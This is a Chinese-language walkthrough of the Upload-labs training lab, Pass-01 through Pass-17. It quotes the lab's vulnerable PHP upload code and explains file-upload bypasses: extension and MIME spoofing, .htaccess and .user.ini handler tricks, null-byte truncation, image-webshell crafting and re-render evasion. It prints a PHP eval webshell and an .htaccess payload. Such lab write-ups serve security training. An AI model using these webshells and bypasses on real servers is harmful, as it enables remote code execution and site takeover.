文件上传 Upload-labs

目录

Pass-01(js前端验证)

Pass-02(MIME验证)

Pass-03(黑名单验证,特殊后缀)

Pass-04(黑名单验证,.htaccess)

Pass-05(黑名单验证,.user.ini.)

Pass-06(黑名单验证,大小写绕过)

Pass-07(黑名单验证,空格绕过)

Pass-08(黑名单验证,点号绕过)

Pass-09(黑名单验证,特殊字符::$DATA绕过)​

Pass-10(利用函数执行依次来绕过)

Pass-11(黑名单验证,双写绕过)

Pass-12(GET中00截断)

Pass-13(POST中00截断)

Pass-14(图片马unpack)

Pass-15(getimagesize图片马)

Pass-16(exif_imagetype图片马)

Pass-17(二次渲染绕过)


Pass-01(js前端验证)

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

不能使用php文件,这里是前端绕过js过滤,有几种方式,但我还是只用能bp实现、

将包含webshell的php文件重命名为png,在上传的过程中使用bp拦截并修改后缀,实现绕过js验证

webshell内容:

<?php @eval($_POST['pass']); ?>

 会显示上传成功,复制图片链接连蚁剑,蚁剑链接成功 

Pass-02(MIME验证)

分析代码,可以看到,后端PHP代码只对content-type进行了检查 ,也就是说只需要将content-type改成其认可的就行,php文件可以正常传输

还是用bp实现,这次直接传入php文件即可

 修改成 image/jpeg ,放包后成功上传

Pass-03(黑名单验证,特殊后缀)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

黑名单绕过
只针对黑名单中没有的后缀名,文件才能上传成功。
这一关禁止.jsp、.php、.asp、.aspx后缀名的文件上传,也禁止了点,空格等

,可上传php1、php2、phtml、php5等等

依然是通过bp修改, 

 

 

Pass-04(黑名单验证,.htaccess)

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

这下禁止的后缀更多了

htaccess文件介绍:

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
其中.htaccess文件内容:
SetHandler application/x-httpd-php
设置当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当作PHP执行。不符合则报错。

(.htaccess和一句话木马在同一目录下。)
然后再上传一个 1.jpg 此时1.jpg 就会被当作 PHP 来执行。

创建.htaccess并将其上传:(先在txt中输入一下代码,然后另存为.htaccess,类型选所有)

<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

接下来构造图片马,1.jpg,最简单的构造1.php写入马后修改后缀即可 

先上传.htaccess,再上传1.jpg,之后蚁剑连接

Pass-05(黑名单验证,.user.ini.)

相较于上题又禁用了htaccess ,提示也看不明白

知识补充:.user.ini类似于.htaccess但是应用范围更广,只要是以fastcgi运行的php都可以用它来动态的局部修改php.ini中的配置

创建一个.user.ini文件并把它上传,其内容为

auto_prepend_file=1.gif

.user.ini文件里面的意思是:所有的php文件都自动包含1.gif文件。.user.ini相当于一个用户自定义的php.ini。

然后再上传一个内容为php的一句话的脚本,命名为1.gif

<?php @eval($_POST['pass']); ?>

上传后可以等5分钟,因为配置文件时间为300秒(可以修改)

使用蚁剑连接readme.php(此时该文件会自动包含1.gif)

Pass-06(黑名单验证,大小写绕过)

没有使用strtolower()函数,可以使用大小写绕过黑名单 

bp修改为PHP后缀即可

Pass-07(黑名单验证,空格绕过)

使用trim()去除空格,可以使用空格绕过黑名单

php前加个空格即可

Pass-08(黑名单验证,点号绕过)

没有使用deldot()过滤文件名末尾的,可以使用文件名后加.进行绕过

Pass-09(黑名单验证,特殊字符::$DATA绕过)

 没有对::D A T A 进 行 处 理 , 可 以 使 用 : : DATA进行处理,可以使用::DATA进行处理,可以使用::DATA绕过黑名单

补充知识:php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。

 上传PHP一句话文件,抓包,后缀加上::$DATA

连蚁剑时候不要::$DATA

Pass-10(利用函数执行依次来绕过)

(点 空格 点)绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
   }

补充知识:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来

构造点空格点 .  . ,这样可以绕过,但蚁剑连接php.

但是我还是没上传上去

Pass-11(黑名单验证,双写绕过)

补充知识:str_ireplace(find,replace,string,count) 函数替换字符串中的一些字符(不区分大小写) 

使用str_ireplace()函数寻找文件名中存在的黑名单字符串,将它替换成空(即将它删掉),可以使用双写绕过黑名单

用bp改后缀为.pphphp(php替换为空后得到.php)

使用蚁剑连接.php

Pass-12(GET中00截断)

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';

知识补充:
strrpos(string,find[,start]) 函数查找字符串在另一字符串中最后一次出现的位置(区分大小写)。
substr(string,start[,length])函数返回字符串的一部分(从start开始 [,长度为length])

GET传值 

白名单,只允许图片文件,能抓到包不是js前端的验证

使用%00截断

Pass-13(POST中00截断)

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";

与上题不一样是POST传值

 

 将Hex中的2b改成00,即+改空白了

  

 放包

Pass-14(图片马unpack)

1,只读两个字节,所以可以先写一句文件头,也叫文件幻数,伪造文件头绕过 


<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?>

 使用文件包含,包含进去这个webshell ,任意文件,都作为php文件解析执行。

蚁剑连接 

2,生成图片马

  1. 在路径下准备好一句话木马.php和一张图片 .png (或者 .jpg )
  2. 输入系统指令: copy 一张图片.png/b+一句话木马.php/a 生成图片名称.png
  3. 这样图片木马就合成好了

 (/b是二进制形式打开   /a是ascii方式打开)

注意以下几点:

  • 单纯的图片马并不能直接和蚁剑连接,
  • 因为该文件依然是以image格式进行解析,
  • 只有利用文件包含漏洞,才能成功利用该木马
  • 所谓文件包含漏洞,是指在代码中引入其他文件作为php文件执行时,未对文件进行严格过滤,导致用户指定任意文件,都作为php文件解析执行。

 

上传这个pass,png文件,然后文件包含 

 

Pass-15(getimagesize图片马)

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

通过使用getimagesize()检查是否为图片文件,所以还是可以用第十四关的图片马绕过,并使用文件包含漏洞解析图片马 

getimagesize(string filename)函数会通过读取文件头,返回图片的长、宽等信息,成功返回一个数组,如果没有相关的图片文件头,函数会报错。

在这里插入图片描述

返回结果说明
索引 0 给出的是图像宽度的像素值
索引 1 给出的是图像高度的像素值
索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 <image> 标签

所以这个函数要求必须上传图片。
image_type_to_extension ( int $imagetype [, bool $include_dot = TRUE ] ) — 根据指定的图像类型返回对应的后缀名。根据给定的常量 IMAGETYPE_XXX 返回后缀名。
参数:imagetype是IMAGETYPE_XXX 系列常量之一。include_dot指定是否在后缀名前加一个点。默认是 TRUE。
 

Pass-16(exif_imagetype图片马)

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

 这题和上面两个图片马的题一样,也是检查了文件的文件头格式这里使用的是exif_imagetype函数来判断方法个上面一样

Pass-17(二次渲染绕过)

这一关对上传图片进行了判断了后缀名content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];      //Content-Type
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);      //basename() 函数返回路径中的文件名部分。这里最后以原文件名保存了文件

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);       //strrchr() 函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){     //判断文件后缀和Content-Type
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);     //imagecreatefromjpeg() — 由jpg文件或 URL 创建一个新图象。成功则返回一图像标识符,代表了从给定的文件名取得的图像。失败返回false,即不是jpg

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);         //unlink(filename)函数删除文件。 即如果判断到不是jpg则删除该文件
            }else{
                //给新图片指定文件名
                srand(time()); 
                $newfilename = strval(rand()).".jpg";     //strval() 函数用于获取变量的字符串值。
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);   //imagejpeg ($image ,$filename)— 输出图象到浏览器或文件,即从 image 图像以 filename 为文件名创建一个 JPEG 图像。即二次渲染。从这里看出最终保存的是经过二次渲染之后的图片,
                
                @unlink($target_path);   //删除原文件
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
        
//一下的代码审计与上面一样
    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);     //二次渲染

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
 }

补充知识:
二次渲染:后端重写文件内容
basename(path[,suffix]) ,没指定suffix则返回后缀名,有则不返回指定的后缀名
strrchr(string,char)函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。
imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像
imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像
imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像

对于做文件上传之二次渲染建议用GIF图片,相对于简单一点

上传正常的GIF图片下载回显的图片,用010Editor编辑器进行对比两个GIF图片内容,找到相同的地方(指的是上传前和上传后,两张图片的部分Hex仍然保持不变的位置)并插入PHP一句话,上传带有PHP一句话木马的GIF图片


 

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值